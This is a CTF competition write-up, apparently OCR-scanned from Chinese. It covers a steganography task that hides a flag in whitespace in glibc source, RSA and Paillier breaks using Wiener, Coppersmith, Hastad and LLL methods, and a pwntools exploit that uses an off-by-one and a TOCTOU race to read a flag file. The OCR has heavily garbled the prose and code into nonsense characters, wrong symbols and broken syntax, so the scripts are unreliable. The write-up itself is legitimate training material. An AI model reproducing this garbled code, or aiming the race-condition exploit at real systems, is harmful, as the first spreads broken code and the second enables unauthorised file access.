data:000000000060107E
data: 0000000000601 7
data:0000000000601080
data:0000000000601881
data: 0000000006018 2

BRI, [SEIR T 16T, REBERA—T:

db
db

(%
@

**envp)

db 'is there anything?',®
align 4

db
db
db
db
db
db
db
db
db
db
db
db
db
db
db

OE4h
©BSh
9Fh
0
OE8h
OAEh
0B8h
0
OE4h
@BDh
0ABh
%
@E8h
OAFh
@AS5h



lata
lata
lata
lata
lata
lata
lata
lata
lata
lata
lata
lata
lata
lata
lata

[§ QP R

: 0000000PRR601060 magic
: 0000000000601073
: 0000000000601074
: 0000000000601078
: 0000000006010 /C
: 0000000000601080
- 0000000000601084
: 00000000V0601088
: 0000000000 60108C
- 0000000000601090
: 0000V00V6B1094
: 0000000001098
: 000000000060109C
: 0000V OO10A0
: 0000V00VVOB10AL

- FAAAAAAAAAAS N O R0

BRERERERE", BHELSBRET

XEETR FTZR wavEIsbfaSHEET
REfEwavalisbfas, {FHMsilenteyeTH

A SilentEye

File Edit Media ?

——

e —

Audio fil o

{738 . wav

I i!i I -
Decode f? Property Wl Encode

db 'is there anything?’,®

align 4

db ".",0
db *i¥',0
db "{1',0
db 'i%',0
db 'T7°',0
db "##',0
db '—',0
db "V ',0
db 'E"',0
db "iZE",0
db 'iE',0
db 'f3',0
db '5",0

Media's encoding format : [WAVE =] ¢

~ Options

Sound quality: 93.75% |[normal

Adva ncedl

led message

This1sThe3rdZIPpwd

—iE
—_ly

Charset: [UTF8 | B | Encrypted data ¥ Compressed dat

& Cancel

) Decode

RHEAM T RICHEEEERE: This1sThe3rdZIPpwd

FREAICHRR, flaglERNZERFREREERRETH, BN
sourc_codeX{FREB50Zm, — MEEARIL

XEr LB 2 5 EiaE ERSMNEEIEAR, EARI=NRAEESE:

elf/rtld.c. malloc/malloc.c. malloc/arena.c

ALK, X=NERABEE R HRFERAY


af://n203

PRAFMFNINISFR T sublimeXRENS (BEHEMEERERCHRAMN RIIDE) |, FENINIFX 25T Fr
B, (FEERM, X=ANHEHE XFISR:

1so name valid for suid {(iter->fname))
iter-=fname:

(iter-=previous ==

{
(audit list ==

iter-=previous = audit list-=next;
iter-=previous-=name;

EEE, EIRTXFN—BERA, EARRGEND, EELARENER, BB\ AT
§, ME) EESXEIIRS TR

XEHMAEERRT, XE—PTHEIFASD, WER, =RAR0 AES M pythoniil A, ENI—iE

elf/rtld.c. malloc/malloc.c. malloc/arena.c

def check(buf):
ptr=buf.find("3}")
end=buf.find("\n")

flag=0

for x in range(ptr+1,end):
if (buf[x]=="'\t') or (buf[x]==" '):
flag+=1

else:

return 0

if flag==8:

return 1

else:

return 0

def read_code(fname):
f = open(fname, "r")
data = f.readlines()
f.close()

bin_str=""

result=""

for i in range(len(data)):

if ("}" in data[i]) and ("\n" in data[i]) and check(data[i]):
# print datali]

ptr=datal[i].find("}")+1

# print ord(datal[i][ptr]l)

# if datal[i]l[ptr]l=="\t':

# bin_str+="1"
# if data[i][ptr]l==" "':
# bin_str+="0"

for x in range(8):
if data[i][ptr+x]=="\t":
bin_str+="1"



if datal[i][ptr+x]==" ":
bin_str+="0"

# print bin_str
result+=chr(int(bin_str,2))
# print result

bin_str=""

print result
read_code("rtld.c")

read_code("arena.c")
read_code("malloc.c")

BILABRIXFER Hflaghi~

help
LN

JLEdSE
fla ] )
[F{code steganography 1ls funny

zeref@ubuntu:~/5% @ /tes sth$

XEEERIKEMSER, BRxEMeEHICHEiER:

1. IMNCEERE B AIEB D AR IR USRI

2. FRERBBWMARFRITERELX

3. TREEIEAN R
BEREX=NFEMN, HHFAE, BEANESAERRRE, BEAREIMNRESRTERBIRART
S, RETRERBEXFAIFERATL X, BATRNGESETAE, REERIAEERI, REZH.
\t,

\NXEFRF, XERESZEERY

CRYPTO
RRRRRSA

import sympy
from Crypto.Util.number import *
#coding:utf-8

* I TE U2 AR — R B 2 B Ao 1 EUARLIE 10T 31 p i) B AEL AN T 2 43 At i R 4
=% KRBT LB X https://eprint.iacr.org/2015/399.pdf
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N1=60143104944034567859993561862949071559877219267755259679749062284763163484947
62669749472904643038655961061311375445372668331251391561055873480207986819055464
49839110789363694645903012463945861906667603627635801921397727298904927294888921
69933099057105842090125200369295070365451134781912223048179092058016446222199742
91988547286751133471423308633983279028648263456210293660059778134275606147902474
43123574077507313078608424572991169473521060255293097277033859148912001098530847
42321655388368371397596144557614128458065859276522963419738435137978069417053712
56776414818327916596345426601175414968475806074677340966670646358338931677208888
93983592421971651405621474892868181908526799303726692546973534838870041059346499
44725189954685412228899457155711301864163839538810653626724347
c1=55094296873556883585060020895253176070835143350249581136609315815308788255684
07280496895751029255974319242464616920779474889375388241825640122364128754692235
81626292956222589131683234934470754108723548743007932989568693746060436225594059
78242734950156459436487837698668489891733875650048466360950142617732135781244969
52409534883562482800811582956664465440396228500172420921088744620393427665126537
71377881839397985437553868885326800131705407167366566702692513188005015175798034
01154996881233025210176293554542024052540093890387437964747460765498713092018160
19663792820419019415419938927666668543656566523639748170970364455532870581889226
94993807970445540541186563213894748212247255336935208560477365784025818541659415
99254178019515615183102894716647680969742744705218868455450832
E1=12593291971734248142810839243448855025919085647501175210607305059307441006565
55878707020514198980885415900322098540480326496252698563379010484060669683372894
91951404384300466543616578679539808215698754491076340386697518948419895268049696
498272031094236309803803729823608854215226233796069683774155739820423103
N2=60143104944034567859993561862949071559877219267755259679749062284763163484947
62669749472904643038655961061311375445372668331251391561055873480207986819563364
74317328753921214586843318433067308894244186200693225782652363514075910293385198
09538995249896905137642342435659572917714183543305243715664380787797562011006398
73032098099474793979156188562294991269824670176932143032590291200304167877444070
40565978620935309810406968725228689211390412473625922572854239488709441370197451
61211585845927019259709501237550818918272189606436413992759328318871765171844153
52742434798546276702813537655230246386132440817818384213933024490660677635905048
29772567289102786879961061529710288786531235335597601677112702651714416230568739
03669918694259043580017081671349232051870716493557434517579121
c2=39328446140156257571484184713861319722905864197556720730852773059147902283123
25276765143027835795087262677834859689771132094244969327060377687030110288140530
36515587190854542811423956520562172417516566318125805441804343498402369197654331
22389116860827593711593732385562328255759509355298662361508611531972386995239908
51327323623985885458684584968686536078029035028713909214358703739680170435169273
69859551529356019877588597594218866709077351201376980399001613273979517588528752
91442188850946273771733011504922325622240838288097946309825051094566685479503461
93850237352098368429665897170092206942678823647657523618904010284841854763429021
41751677674314750032160567010942758992114199793408027116849897101302159265263871
38538819531199810841475218142606691152928236362534181622201347
E2=12593291971734248142810839243448855025919085647501175210607305059307441006565
55878707020514198980885415900322098540480326496252698563379010484060669683372894
91951404384300466543616578679539808215698754491076340386697518948419895268049696
498272031094236309803803729823608854215226233796069683774155739820425393

def solve(a, b):

g =[]

while (a!=1):

g.append(b // a)

temp = a

a=b%a

b = temp

g.append(b)

return g

Set = solve(N1,N2)



Set.append([0,1])

Set.reverse()

while Set.__len_()>1:

P = reduce(lambda x, y: [x[1], y * x[1] + x[0]], Set)

if N1 % P[0] == 0 and N2 % P[1] == O:

print P

Set.pop (1)

Ql =
11628371843051760370952910026406764366191062991235308941262037248377376991693250
742343307155422036713746576338866595433599862614339347536916226536644210947L
Q2 =
11628371843051760370952910026406764366191062991235308941262037248377376991693250
742343307155422036713746576338866595433599862614339347536916226536644211929L
Pl = sympy.sqrt(N1 / Ql)

P2 = sympy.sqrt(N2 / Q2)

assert (P2*P2*Q2 == N2)

Phil = P1*(P1-1)*(Ql-1)

Phi2 = P2*(P2-1)*(Q2-1)

D1 = int(sympy.invert(El, Phil))

D2 = int(sympy.invert(E2, Phi2))

ml = pow(cl, D1, N1)

m2 = pow(c2, D2, N2)

print long_to_bytes(ml).decode()+long_to_bytes(m2).decode()

Goldwasser Micali Cryptosystem, RRISRIGIE, HAJELRFSHIME N SEERIRK:

from Crypto.Util.number import long_to_bytes
import gmpy2
plaintext =
with open('output.txt') as f:
n = int(f.readline())

for 1ine in f:

cipher = int(line)

if gmpy2.jacobi(cipher,n) == -1:
plaintext += '1'
else:

plaintext += '0'
print(long_to_bytes(int(plaintext,2)))

Invitations

RSA Hastad Attack with non-linear padding and different public keys

RYEXEpaper BUIGIAR, https://crypto.stanford.edu/~dabo/pubs/papers/RSA-survey.pdffEAT {4 E
HE, RKEHERIREERL, FA Coppersmith iR

from Crypto.Util.number import long_to_bytes

def linearPaddingHastads(cArray,nArray,aArray,bArray,eArray,eps):

if(len(cArray) == len(nArray) == len(aArray) == len(bArray) == len(eArray)):


af://n231
af://n234
https://crypto.stanford.edu/~dabo/pubs/papers/RSA-survey.pdf

for i in range(4):

cArray[i] = Integer(cArray[i])

nArray[i] = Integer(nArray[i])

aArray[i] = Integer(aArray[i])

bArray[i] = Integer(bArray[i])

eArray[i] = Integer(eArray[i])

TArray = [-1]%4

for i in range(4):

arrayToCRT = [0]*4

arrayToCRT[i] = 1

TArray[i] = crt(arrayToCRT,nArray)

P.<x> = PolynomialRing(zmod(prod(nArray)))

gArray = [-1]%4

for i in range(4):

gArray[i] = TArray[i]*(pow(aArray[i]*x**2 + bArray[i],eArray[i]) - cArray[i])

g = sum(gArray)

g g.monic()

roots = g.small_roots(epsilon=eps)

if(len(roots)== 0):

print("No Solutions found!")

return -1

return roots

else:

print("Input error!")

def nonLinearpPadding():

eArr = [3 for i in range(4)]

nArr = [
14669446023428033961272141536843598706874071281277072881713658225634106303814786
36459022649692978924473330242016493062074427989198459161878236467457211091513860
96190207317810424580842120750075213595282979568495342617919336417068886973047979
116994072272482630372638964064972815256237040541007947708358680368391,
65031485534704406281490718325237831433086480239135617407356760819741796565231283
22052813769794958515070973473237020339025464383582898437642785279396971648901652
09232726750905366777710748679752872846948601559033273511197107651744372475994983
42292671117884858621418276613385329637307269711179183430246951756029,
12617207557836744615129728966874643368060088984550407894975856869828447130700035
84074531398462820954770166757694682732045368981174675595752034582216003417608449
73676129445394999861380625435418853474246813202182316736885441120197888145039130
477114127079444939102267586634051045795627433724810346460217871661901,
75691424835079457343374072990750986689075078863640186724151061449621926239051140
99174848337058743022431777830348912452503411353308761298145218906174358922756509
96590700080174549573046204959208131212345524017158577193728615656512049684082677
40732475458128601061676264465241188491988485848198323410127587280471

1

cArr = [
12927451933408216564410629238376327186242498149682233533034232821734792809359245
39539904488279695493778830548314909730063833716883593446753120018816315563712207
79971357039899721241880304156884612458373310254854821837978876725801047977081900
824202659636258168216028784656056334358157381820784576207338479493823,
81400235667791878286524475938677058133867811645386111227147089315855877276992137
69519135028841126072130625547328311301696554048174772606261707345115571968105138
54347658087534723991276079703569422050599637712730934177042710269700835047206097
1360460756799310951343070384766137332401117333917901167639276168214,
25434511525127530194830986592289179576070740435049947678930286998924519588985583
79975729973484661434360466153439199109635317046546779135851444892316146036659625
14489375401532627313486847270265985279043282686390603061020902782878181496799406
61579357649191023269947102746200467430583428889484549034314463114080,



94355832363545982876618801482727177644475409723166051928551574845247538478061585
86224733743434644389385148450722945845355791145016665856388503878165725148745517
69684025167404992952444807812945884625486680415308076691731992390568282418097610
6679633180818527967145571143203594244851742143986040226240019541346

]

aArr = [1 for i in range(4)]

bArr [i * 3 ** 431 for i in [3,8,10,11]]

msg = linearPaddingHastads(cArr,nArr,aArr,bArr,eArr,eps=1/20)
for i in msg:
print(Tong_to_bytes(i))

if _name__ == "'_main__":
nonLinearpPadding()

CSTPC

code EEEIRYE CST code, HiEHapy python 3:

default newline='\n"',
has trailing newline=

print(code.code)

JRREENT

from Crypto.Util.number import *
from secret import flag
from gmpy2 import gcd,invert

L = lambda x,n: (x-1) // n

mask =
0x100000000000000000000000000000000000000000100000000000000000000000000000000000
00000010000000000000000000000000000000000000000010000000000000000000000000000000
00000000001000000000000000000000000000000000000000001

def genkey(g_len):
while True:
q = getStrongPrime(qg_len)

X = getRandomNBitInteger(21 * 8)

p = (0bll << (g_len - 2)) + (mask * x << 32) + getRandomNBitInteger(32) | 1
if isprime(p) and gcd(p*q, (p-1)*(g-1)) == 1:

n=p*%*q

break

lam = (p - 1) * (q - 1) // gcd(p - 1, g - 1)
while True:

g = getRandomRange(l,n**2)

t L(pow(g, Tam,n**2) ,n)

if gcd(t, n) == 1:
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mi = invert(t,n)
break
return n, g

def encrypt(em, en, eg):

while True:

r = getRandomRange(1,en)

if gcd(r, en) == 1:

break

return pow(eg,em,en**2) * pow(r,en,en**2) % en ** 2

,d = genkey(1024)
= bytes_to_long(flag)
encrypt(m,n,g)

n
m
C

with open('./output','w') as f:
f.write(str(n))
f.write(str(c))
f.write(str(g))

LEpin BORHE q BIERAEERIE, Coron's reformulationB]LAS#, small root 183 q.

from sage.all import *

n =
15217433729088652627414165467339105915486108535000858447330024293094619431878593
90289514438469431138029742327155080552292148353482583527260905036928681873676910
59069060451536908215609789099197203652900207437912585278176816322784071920868286
01711598076751021325985205536305160182436535105224819247364537440197121830461559
76913571639072382518649897680681556092056484077209628330583478716242389217196014
74497128114181376828508906597077197105529796544240268385994551027908385417601332
22159771458664154662854069782956766241951695187207933483112375196659917700475374
51030866696493474098850568929871361771005057843597772734669939

pattern_size = 21%8

prime_size = 1024

X = 2**pattern_size

d0 = 2**pattern_size - 1

w = 2**prime_size

u, v = divmod(n, w)

M = matrix([[x, 0, u * d0O % w],
[0, x, v * dO % w],

[o, o, wll

for vec in M.LLLQO):

bx, ax = vec[0], -vec[1]
p = gcd(ax * w + bx, n)
if 1 <p <n:

g=n//p

break

print(p)
print(q)


https://github.com/ubuntor/coppersmith-algorithm/blob/master/coppersmith.sage

PC Cryptosystem, BAILAfE:

from gmpy2 import gcd, invert
from Crypto.Util.number import long_to_bytes

L = lambda x,n: (x-1) // n

p:
97874744704813215165839078111167840509751878559847883649546751608612054032113242
47840212067637176983999500820054406057964296933378541113139512270250546697839698
43838683045832769187955202950007306370914737693128308381083169183137681347443258
5440099538745128476292613686675663760956152736044907627557653985449787171

q:
15547865565303794252513326379429595520058403514338098616147353163942162939480596
91154093234038320950073813722114718114930722694102548408494983601938536694186483
80371521975393539479526042974618290874243863954220667119652955639060155880605495
726437338258427169679128098315911593373079694582149691550103531127409

n=p=*q

g:
86364830622119775063512474542519648528773370985970051976646287344347998947783514
21740382444814463263751448632773233435404176220919780333207325672559890855854306
78571678599869769434386879698218770145769391707290371335868286266481480373271466
74084012596942819880056278866557224920896089626750189163253585219032039616983860
26678105009617037195524604721439320169843734559069553223126670746264095846986532
50639983066416947346882244662804689417035428330928882301594637284386652952787197
37700623220169371296716162636770311625432964965341789387630974535869868497209387
73567325333613909929036065469346784714426270569262398601933549293227475749408666
44815762603091845387150827444831558033761225480788522455475839153111041818962772
02738306624141865277826116299921837042060042251449286209001884185370859167114189
62768356212317866240563223742096094433464579385365829835830955720211675622789612
59199308384825850064880885913101184242685974806242840264928071983741657212404914
66991802065966152237837890416167850516855955706735739473999201750893989692661165
33688220578277755743155621040061709230831312660875029047614401450859772352890082
91047799492322650831732021031334203828302059804998694139677781303843088760696404
298821896598357202481736689784980298710997

C =
17182935853106434552156000242973235447163830121773500236568197605024442194326661
77502487551979880757203011148030785730032095185084053098820914880788618764562101
75080996277575457456393362459543697346380061720251678530605813440698310250488712
22431063105497992313498192875386440000165388413756649881630658414888582438874886
84791317806843867828391615689904294145970386091613449494108845677539850200825355
44526957272656128651306363241534873670962327193880297324806491638094694870127957
67570191822183380604619418012973980227836144487532425715028905622973414946041906
36584042194436457696394498490019708454312252427059150393571499114860797020653500
27254979162007865830316148203154894385517638151831384557798690770071702447842197
07918823982554035267207862797751735753963297336147955740915039747696914982401814
91898805861944177477288989431407736647033541275468511390602177945181558735049948
54098443094856073912165913363330404490909938452887957383835873219633977545879522
18055065843686407726598476563934546204870661489543207101599785192979581395907131
82564200478190928621535505289275964711358458599459750915034609643167068030894369
85653519452166787593067760321065374422838214478545901083322601445476895560558651
04581337201112820803020668246743885169311

Tlam = (p - 1) * (q -1 // gcd(g - 1, p - D
t = L(pow(g,Tam,n**2),n)



miu = invert(t,n)

m = L(pow(c,lam,n**2),n) * miu % n
m = long_to_bytes(m)

print(m)

# power

Multi-Power RSA
Exn. dp, BXXp, F—LE5Ktp
KX,
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from sage.all import *

p:
44970334770928732898244681231887015823036968862589430795360407450241325804526550
24963659983835621199155650805180773608397050040582117843696564866783070073486919
91136610142919372779782779111507129101110674559235388392082113417306002050124215
90480302689440015519427542483457794250015041044005766067946091864535737609561307
97201721483020978937340347884581223338167591626058888795315942176619215472931642
81934920669935417080156833072528358511807757748554348615957977663784762124746554
63815269346958076100243779383709410133840801740725198611658924052362534096402553
13574467062638718434891430686205010202844217812438796752920602688763532508543691
89182926055204229002568224846436918153245720514450234433170717311083868591477186
06189628279088085079747165832132412733470443843035484477013198004966851635077493
96253699098699063621740156280782580396381110648423249799978677464048064573295286
90722757322373158670827203350590809390932986616805533168714686834174965211242863
20107648212715257177496058091531802230341811134640629521757156415557376537151974
93259221458751283959091122542420275124005648554441013254277106432126907682720488
81411988830011985059218048684311349415764441760364762942692722834850287985399559
04245747094258045651639518863791630381405577735773889426403798894595146841686164
72046588938377533618516675731859207792726358851271493488450644781218434627893671
12698673780005436144393573832498203659056909233757206537514290993810628872250841
862059672570704733990716282248839

g=2

y:
29070792419289268692025339095567660032333163381483970883834728850269249469948576
44736357834417053022680641116488511570700387837197497219946828372946253345179148
82191486257362565066745587415388291939979195637720350919055988532145531805200483
16159996521527580879797672796902374729957817349708353235197647377004180076926531
95483528411398021632791164900532923163990383292100434559327869451808551783419980
49756983301499491011851026499269682821602212971062877270127451987836730083380463
82571788912380461339424119083983779128165787225949258986875174532769603043889386
50699410660735544275586979725510853530275745298234395886702630472871317408023757
38439636789806332323994866753085014446479034974063195632514803340511247735647970
57283705314849025811339435907297685878106034977692142849297318395843796596696312
20691078761434767724367575542530496199184039963157200230208273949005070880062992
25934263699192253079026440287311664705744424959801981503191480257138833694306501
81683703799554981718633537741163803557500459541778858826482386185087711137408533
64464779433724583788346646780947519784009102881515199029773269951187278802236219
64441498323865158898463327323193833062919619201107279964663654606753750042791368
21026157489745583072223202268969529208026920547049179195083948686181146987941331
37733389167818579816419100314414489641440005855068701708980521329290343494519450
51362244755750988705018897859238859476967568556992146975789444151432386692872801
263000639711599152191790766776280

I = Integers(p)

base =1(g)

power = I(y)

x = discrete_log(power,base,I.order()-1)

print(x)

Xp.



from z3 import *

p =1Int('p')

s = Solver()

s.add(2019*p**2 + 2020*p**3 + 2021*p**4 ==
55357226929625807640455455391051191409410616792895694209883538842096538513088600
58948669740693107863231179565602072744542122031789184119031739723962825082929025
82532242120136421172600136649094976088736740771876325596473556797149385919758362
40764784578650734492468359490751352234686168346363869589247090247633491156220628
48212445867198457630368236782421195503713107838541903829979118327675371550868768
15902426079354126433554848922874436760907165996845030389511881737931606080514875
41369170431601755705657173883368229603896643376566035844256296626137862039202344
01824957121860225422901340950436355650311392398098947210940)

s.check()

model = s.model ()

print model

B2lpzia
AEEE#EHensel lifting for Takagi's scheme, {EESLXBIFERSIRIE

S&https://books.google.com.hk/books?
id=LAxAdqv1z7kC&printsec=frontcover#v=onepage&q&f=false189mQ

Algorithm 10.1 Hensel lifting for Takagi’s scheme

Input: (c,e,d,,p,b)

1: m}, = c% ! mod p
myp = cm,, mod p = c% mod p

: for ¢ from 1 to b — 2

z=(c— m;i) mod p*t1

y = zm/,(e~! mod p) mod p**!
Mpit1 = Mpi + Y

Output the partial decryption ms-

O s e e

*

from Crypto.Util.number import
import gmpy2

p=
72343914277035983279167231591452329220479353973022419783445004970989720688085916
85717500902909442183573763273395725479516998210374727754578133587007330339

dp =
32722935056967128314198596415719560666675160125978860980216423201550563499666126
29986261146617139998624603483170466852538289743936225789351270153550594329


https://books.google.com.hk/books?id=LAxAdqv1z7kC&printsec=frontcover#v=onepage&q&f=false

Cc =
22524257534087703614496632403022329621384173069680778965750290698059674588465640
87875470736367378967411167127064515258411820614500731049927442360688626196980736
00705261264526467196283076899689716992158418676367703201592563015509087711350429
12287955209485328267670825390080110910391913063177323585204392804538642393453388
53621114448538990259102935006080099335296956970390171730833057439420099665153432
15478143131952188955477188150098763939873987389320019246613387960599739500127064
27109598830049455186171345179840564502215531573714428772608739268313985559628612
00443902801441740863185188069851202374090318111690676606695147394220169837522424
02715235681612429517302249012275894137310252817191013686686174979479955794439087
73425555177346524678673641140157885033923288401884

b =4

e = 0x10001

mpl = pow(c, dp, p)

mp = pow(c, dp - 1, p)

for i in range(l, b - 2):

x = pow(c - pow(mpl, e), 1, p**(i + 1))

y = pow(x * mp * (gmpy2.invert(e, p)), 1, p**(i + 1))
mpl = mpl + vy

print(long_to_bytes(mpl))

Simple
BigeHHt, SALABIIwienerskiphi_n, #ikitel,
Ek(ERExtending wiener attacki#{TKA#

SEhttps://sci-hub.tw/https://link.springer.com/chapter/10.1007/3-540-46701-7 14

from sage.all import *

from Crypto.Util.number import *
from Crypto.Cipher import DES
import gmpy2

key = "abcdefgh"

def des_decrypt(c):

des = DES.new(key, DES.MODE_ECB)
des.decrypt(c)

return res

def isqrt(n):

res

X =n
y=&+1) //2
while y < x:

X =Yy

y=&+n//x//2
if pow(x, 2) == n:
return Xx

else:

return False

def con_fra(a, b):
r=[1

while True:

if a ==

break

tmp = a/b
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https://sci-hub.tw/https://link.springer.com/chapter/10.1007/3-540-46701-7_14

if tmp != 0:
r.append(tmp)

a, b = b, (a-tmp*b)
return r

def wiener_attack(e, n):
cf = con_fra(e, n)

for x in xrange(len(cf)):
k, d=0, 1

while x >= 0:

k, d d, d*¥cf[x] + k

X -=
phi_n = (e*d - 1)/k

B=n- phi_n +1

C=n

dt = pow(B, 2) - 4*C

if dt >= 0 and isqrt(dt) and (B+isqrt(dt)) % 2 == O:
return phi_n

print "wiener attack fail!"

Ll |

N =
14922959775784066499316528935316325825140011208871830627653191549546959775167708
52504242303986532254842092857152412074383169355012356349398179795091289589347620
04470833865493533360868990649218785820743467913201041061399650104806148795923577
93053342577850761108944086318475849882440272688246818022209356852924215237481460
22937754429722498388702666922288598732308232404464588307091624343952180970267429
54692537236166772457622424944785878074026884741761020934820194171187037474118624
20536240611089529331148684440513934609412884941091651594861530606086982174862461
739604705354416587503836130151492937714365614194583664241

e2 =
27188825731727584656624712988703151030126350536157477591935558508817722580343689
56592432944215123964960799337745276311954124317465006556358943891191113527870449
96703024897545403018863124894106484719226457735068372516002441096198501417627959
01696503387880058658061490595034281884089265487336373011424883404499124002441860
87029123387504567521235528762294842710936292519901838353525991354985974715834893
18470419079103134655317038103134726744354258865053836469694001662131856768769698
05238803587967334447878968225219769481841748776108219650785975942208190380614555
719233460250841332020054797811415069533137170950762289

C =
64723673388326359068964239903235425376638493043141715815541074952108300266602116
96089062916158894195561723047864604633460433867838687338370676287160274165915800
23525364069051004606654144514050191773102659642708055856736626766588766545990172
44877069831660707403243072685741284747750268378279078187627647660696312678537424
22247229582756256253175941899099898884656334598790711379305490419932664114615010
38209457285479942189162278961461472044270827165337648566013956081966823911858806
93121792934886844034043857157804069378171245887736899216428027030053413240084832
01528345805611493251791950304129082313093168732415486813



_h =
44048923826490086077694906384520055873434118225391104010468972663441448899709551
82849645140780799118563528241741739372515588422513497626317167983073609954145454
64514355957499460396352456341058329671470384493547042182238690727766731554287411
75702279246732481534249791689428586624051652476864504986758254189912363200910051
29654600045483820545784612499901584426752344771225211896493163416236371468675891
19951831385717513964941787562068891523060843170463600255518728070958509224053460
04118486994303888743443502442831106353334551482782748512105502224580082372348781
26355020905308209466384053457556661243569191782900084754594195717614061178274228
83820901663916276191422633940699113760516149002609672230610575442643822241126824
28779005526416272520912019266198525942392430778545200192770132364724778265877578
01176429006948314756810376346918062322112864931871214645061220128896441373640794
03183353774265910554863733455161820449073656744610495110838881353269890437984975
60774460311357245321143933488015567173082175536105478124363940791213397153039403
19337850517707253312429329292447195948305483107689370370422437945511638914515455
74837838357398072638709907958216067999891842395376953596940377457308329336524488
962532620850237570279134567668379

_e =
86160565485223666841401038601678272974554947772290197093322038045265205201850211
37379682045297904957392332585722094227742571392563679286495545625618890131643446
08269555777150446651170697255381344437283003508476336814132594917061838422072660
01747753046504872947160353791240182606508166316544046297921941829101086765674687
06178939357582415910323500107828619887428859180155324940204063508970485751558009
41991107973433915573030255070411073793489218782862225921465295055907689734413881
26317902974187052079781628242023009087968728757532829417144881980353020529258715
99211544712897475711074617547305777876174511270612655527881256912663577249555083
91085485034126227212788895416902189479587194999818764639403752596165043883295506
46591627773448238025239955739562156646132266455934448388918703785117843101122013
49145604386575227874096326770202690868951424886692034692566291734383134870461302
38010206678820035631793666627274457756812810094004185303422637897314225624079032
61733448781562802105899762851196356505562943527895625186932902554462329122398419
05621091493161592435653235652714913563781895610050846765927864535814313936513851
81326525455441155960432946682976515756161038293313433862078763004704003356983371
787414787104076401121444383911561

_C =
30593783954659443923046386158460420107737475916746841082783094352840300794177965
88816724777051136176148286113324271991242178879373913782819438561595710575982037
09366891547401974326016980711130197275312149966105151573748299654404630150641461
76523293591226644830326699024714525205288692024819800621287627366119563610443527
71453966369855160641545344887508794534742118524614630419608357456953685779037867
02607508492658563272121038693371752289017330781719235752018697635304458321008407
93098656577982627804808276475436726746063779851278015328132573334899942640704979
52700448196573994030710134961690606401272794099146385359963558489333787340459082
05536540619564723586905257569498716707820544351092379516465943537383422680357333
84924812911814854338973339568639956599958689912308731002544299413121823767951826
71061949623056295292104022697267360729679665183813509209657276902740180806193326
76536005722214955949897632990356174168234408837737546230730400434240785496100281
81516880672435819155074365684385338364641048743654016636040698209694917846686115
01735273053690075469175506346792112934964582827878812445812305580115827206325028
86494712233308474151958909251857281750741736910202763888790654287328846201724930
302778996046434656839999091303411

e = 65537

t = bytes_to_long(des_decrypt(long_to_bytes(_e)))

phi_n = wiener_attack(t, _n)

_d = gmpy2.invert(_e, phi_n)

el = pow(_c, _d, _n)

print el

alpha2 = 730./2048



M1 = int(gmpy2.mpz(N)**0.5)

M2 = int(gmpy2.mpz(N)**(1+alpha2))

D = diagonal_matrix(zz, [N, M1, M2, 1])
B = Matrix(zz, [ [1, -N, 0, N**27],
[0, el, -el, -el*N],

[0, 0, e2, -e2*N],

[0, O, 0, el*e2] 1) * D

L = B.LLLO

v = Matrix(zz, L[0])

X = Vv * B¥*(-1)

phi = (x[0,1]/x[0,0]*el).floor()

d = gmpy2.invert(e, phi)

m = pow(c, d, N)

print long_to_bytes(m)

PWN
€asyasan

FEERAFM:

1. asanpRZadRI— N Ivtrick, BRT{EshadowRFRIBNEROS,, FER—E/EEARTHERMR
BENERFXEHASHICNE]
2. TOCTOURA

EF—TRsEXRAPRRERL, —PME=MHoI

® anoymous
e authentication
e admin

ALLUEAIRBanoymousF authentication , #NERAELLauthenticationERANEFEIRUEAF BT,
XMRER, AFPE2guest, BRSEEBNRIHINEN.

RIETEFFRIEETIRE:

. create file

. delete file

. print file

. move file

. userchange
. secret

. exit

N o o AN =

create fileIDBEATFAE/tmpER N RN, —HATLASIERIR.
delete fileZhae TR RUERAISIAL.

print fileIhgERBadminAAILAER, ESRIERFBARINXMAS, FTEINXHHNRE, EFTERNX
HenzERF B CelER.

move fileThESE A
userchange FIRIEM A AFAF RS

secretIBERA 4IRS iEE


af://n264
af://n265

HepFERRGFET print fileljge, SERATEZHE, FEEETHsleep2), RBPEFERMRFIT
iH. EEZIRIEsecretlgl, ALUBUIXE—PMTOCTOURIIIIFEM RS, printfileljgERscieERH
PR, AEMERFPBARNXGEEEE S lag, MRFEEHEEXMNHEEERFEEN, 25
MEFEAX MU RE/mMpER T IAXMY, HEHXHRE,

XEREZBZN— I FIBBERRTMA—MFFERNNN 4R, RREEFRERHtERE,
BERXANAERITAXMGE, BIFRMRSRRRE, ERsecretligEBE—MEMMaghifFSidE,
SHHEAFREX N AR, SIRSHEETIENE, SHnewpathfBRNXXHLRAFE, =
RN, XErRILARdeleteIhaEMIBRZ BIBIERAISIH,

BT XMNABHIF BRREERNEFEadminfIRIR, AFPERESIREBuserfEiRh— 1 R
B, XTRRAEFRFISIR, RERDNEAESIXMEFR T LR EadmintiR, EFFPEFERZER
REHRE, BEEasantlEl, FTLAEBBTGEFIA. XEFIAasangudf— Mrick, FER—N2E/4E
AP RIAL RIBNEFXIGRHASFENE], FuserchangeIbgéd, Bi&userEiafR-iIpassword
FfF Eoffbyoneidid, mMAFRAFINRRIMREpPassword/gHE, AJLAFIFX N RES userpimRFER
SHERR.

exp:

from pwn import*
context.log_level="debug"

p = process('./pwn')

def login(Q):

p.recv()

.send1line("2")

.recv(Q)

.sendline("guest™)

.recvQ)
.sendTine("1233211234567233")
ef create(name,length,content):
.recv(Q)

.send1line("1")
.recvuntil("input file name:™)
.sendline(name)

.recv(Q)

.sendline(str(length))

.recv(Q)
p.sendline(content.ljust(length,"\0"))
def delete(name):

p.recv()

p.sendline("2")

p.recv(Q)

p.sendline(name)

def prints(name):
p.recvuntil("6. secret\n")
p.sendline("3")
p.sendlineafter("input file name:",name)

T T T T T T T Q©Q T T T T T

def change(name,password):
.recv(Q)

.sendline("5")
.recvuntil("user name:")
.send1ine(name)
.recvuntil("user password:")
.send(password)

T T T T T ©T

def secret(oldpath,newpath):



.recvuntil("6. secret\n")
.send1ine("666")
.recvuntil("input old path:")
.sendline(oldpath)
.recvuntil("input new path:")
.sendline(newpath)

T T T T T T

Togin()

create("a",10,"aaaaaaaa")
delete("a"™)

change("zs0Ozrc", "a'*0x20 + "\x03")
prints("a")

sleep(l)
secret("/home/ctf/flag","/tmp/a")
sleep(2)

p.interactive()

server
IXELRibc-2. 23 RHI6AIEhASSEIEIER, (P HRIaT:
zeref@ubuntu

EEWREANN BF—NRRREX, FE— Rt

-

[(si int)__ sprintf_chk( , 1LL, 512LL, "<hl>welcome! %s</h1><hr>", *(_QW yv3)] = e;
= qword_603140[ (sig yil;
= ¥(_DWORD *)(v7 + 16);
if ( <0)
*( (V7 + 16) = -va; A=

—~

